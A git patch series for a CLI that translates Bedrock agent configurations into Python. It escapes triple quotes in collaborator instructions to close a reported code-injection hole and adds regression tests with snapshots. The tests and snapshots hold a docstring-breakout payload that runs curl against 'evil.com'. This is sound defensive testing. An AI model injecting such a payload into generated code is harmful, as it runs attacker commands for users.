From 0a0a1c4e0162c97b23a76ee858aaa69aa954c1a7 Mon Sep 17 00:00:00 2001 From: Padma Komarina Date: Wed, 20 May 2026 17:13:47 -0400 Subject: [PATCH 1/2] fix(import): escape triple-quotes in collaborationInstruction to prevent docstring injection --- .../agent/import/__tests__/translator.test.ts | 55 +++++++++++++++++++ .../agent/import/base-translator.ts | 2 +- 2 files changed, 56 insertions(+), 1 deletion(-) diff --git a/src/cli/operations/agent/import/__tests__/translator.test.ts b/src/cli/operations/agent/import/__tests__/translator.test.ts index c3725ac6d..5c7cae6ee 100644 --- a/src/cli/operations/agent/import/__tests__/translator.test.ts +++ b/src/cli/operations/agent/import/__tests__/translator.test.ts @@ -172,6 +172,61 @@ describe('StrandsTranslator', () => { }); }); +function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentConfig { + const collaboratorAgentConfig = makeSimpleAgentConfig(); + return makeSimpleAgentConfig({ + agent: { + ...makeSimpleAgentConfig().agent, + agentCollaboration: 'SUPERVISOR_ROUTER', + }, + collaborators: [ + { + agent: { ...collaboratorAgentConfig.agent, agentName: 'collab-agent' }, + action_groups: [], + knowledge_bases: [], + collaborators: [], + collaboratorName: 'collab', + collaborationInstruction, + }, + ], + }); +} + +describe('StrandsTranslator - collaborationInstruction injection safety', () => { + it('neutralizes triple-quote injection in collaborationInstruction', () => { + // Payload attempts to break out of the """...""" docstring to inject executable code + const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""'; + const config = makeCollaboratorConfig(payload); + const translator = new StrandsTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + // The """ must be escaped to \"\"\" — confirming the docstring is not broken out of + expect(mainPyContent).toContain('\\"\\"\\"'); + // No bare """ should appear inside the tool docstring + expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s); + }); +}); + +describe('LangGraphTranslator - collaborationInstruction injection safety', () => { + it('neutralizes triple-quote injection in collaborationInstruction', () => { + const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""'; + const config = makeCollaboratorConfig(payload); + const translator = new LangGraphTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(mainPyContent).toContain('\\"\\"\\"'); + expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s); + }); +}); + describe('LangGraphTranslator', () => { it('generates valid LangChain/LangGraph Python code for a simple agent', () => { const config = makeSimpleAgentConfig(); diff --git a/src/cli/operations/agent/import/base-translator.ts b/src/cli/operations/agent/import/base-translator.ts index e92277054..d4fc27a18 100644 --- a/src/cli/operations/agent/import/base-translator.ts +++ b/src/cli/operations/agent/import/base-translator.ts @@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator { this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR'; this.collaboratorDescriptions = this.collaborators.map( c => - `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? '')}'}` + `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? ''))}'}` ); this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c])); From d7ff8a1a4bacb4aa9ae4c689fff8c94d970088bf Mon Sep 17 00:00:00 2001 From: Padma Komarina Date: Wed, 20 May 2026 17:56:11 -0400 Subject: [PATCH 2/2] fix(import): escape triple-quotes in collaborationInstruction to prevent docstring injection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit collaborationInstruction is free-form text that gets embedded inside a Python triple-quoted docstring ("""...""") in the generated main.py. Using only escapePySingleQuote left """ unescaped, allowing a malicious collaborator instruction to break out of the docstring and inject executable Python code into the generated file (HackerOne #3733333). Fix: use escapePyTripleQuote (escapes """ and \) instead of the previous escapePySingleQuote for collaborationInstruction. Chaining both helpers was also incorrect as it doubled backslash escaping. agentName is not affected — Bedrock enforces [0-9a-zA-Z_-] on that field. --- .../__snapshots__/translator.test.ts.snap | 43 +++++++++++++++++++ .../agent/import/__tests__/translator.test.ts | 41 +++++++++++++++--- .../agent/import/base-translator.ts | 2 +- 3 files changed, 78 insertions(+), 8 deletions(-) create mode 100644 src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap diff --git a/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap b/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap new file mode 100644 index 000000000..cb775b77e --- /dev/null +++ b/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap @@ -0,0 +1,43 @@ +// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html + +exports[`LangGraphTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = ` +"@tool +def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\" +import subprocess; subprocess.run(["curl","evil.com"]) +\\"\\"\\"'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)]) + return invoke_agent_response" +`; + +exports[`LangGraphTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = ` +"@tool +def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)]) + return invoke_agent_response" +`; + +exports[`StrandsTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = ` +"@tool +def invoke_collab(query: str) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\" +import subprocess; subprocess.run(["curl","evil.com"]) +\\"\\"\\"'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + return invoke_agent_response" +`; + +exports[`StrandsTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = ` +"@tool +def invoke_collab(query: str) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + return invoke_agent_response" +`; diff --git a/src/cli/operations/agent/import/__tests__/translator.test.ts b/src/cli/operations/agent/import/__tests__/translator.test.ts index 5c7cae6ee..5090ebbd6 100644 --- a/src/cli/operations/agent/import/__tests__/translator.test.ts +++ b/src/cli/operations/agent/import/__tests__/translator.test.ts @@ -192,9 +192,14 @@ function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentC }); } +function extractToolFunction(mainPyContent: string): string { + const start = mainPyContent.indexOf('@tool'); + const end = mainPyContent.indexOf('\n\n\n', start); + return mainPyContent.slice(start, end); +} + describe('StrandsTranslator - collaborationInstruction injection safety', () => { it('neutralizes triple-quote injection in collaborationInstruction', () => { - // Payload attempts to break out of the """...""" docstring to inject executable code const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""'; const config = makeCollaboratorConfig(payload); const translator = new StrandsTranslator(config, { @@ -204,10 +209,20 @@ describe('StrandsTranslator - collaborationInstruction injection safety', () => enableObservability: false, }); const { mainPyContent } = translator.translate(); - // The """ must be escaped to \"\"\" — confirming the docstring is not broken out of - expect(mainPyContent).toContain('\\"\\"\\"'); - // No bare """ should appear inside the tool docstring - expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); + + it('preserves backslashes in collaborationInstruction without doubling', () => { + const payload = 'C:\\path\\to\\file and regex \\d+'; + const config = makeCollaboratorConfig(payload); + const translator = new StrandsTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); }); }); @@ -222,8 +237,20 @@ describe('LangGraphTranslator - collaborationInstruction injection safety', () = enableObservability: false, }); const { mainPyContent } = translator.translate(); - expect(mainPyContent).toContain('\\"\\"\\"'); - expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); + + it('preserves backslashes in collaborationInstruction without doubling', () => { + const payload = 'C:\\path\\to\\file and regex \\d+'; + const config = makeCollaboratorConfig(payload); + const translator = new LangGraphTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); }); }); diff --git a/src/cli/operations/agent/import/base-translator.ts b/src/cli/operations/agent/import/base-translator.ts index d4fc27a18..daecb08f6 100644 --- a/src/cli/operations/agent/import/base-translator.ts +++ b/src/cli/operations/agent/import/base-translator.ts @@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator { this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR'; this.collaboratorDescriptions = this.collaborators.map( c => - `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? ''))}'}` + `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(c.collaborationInstruction ?? '')}'}` ); this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c]));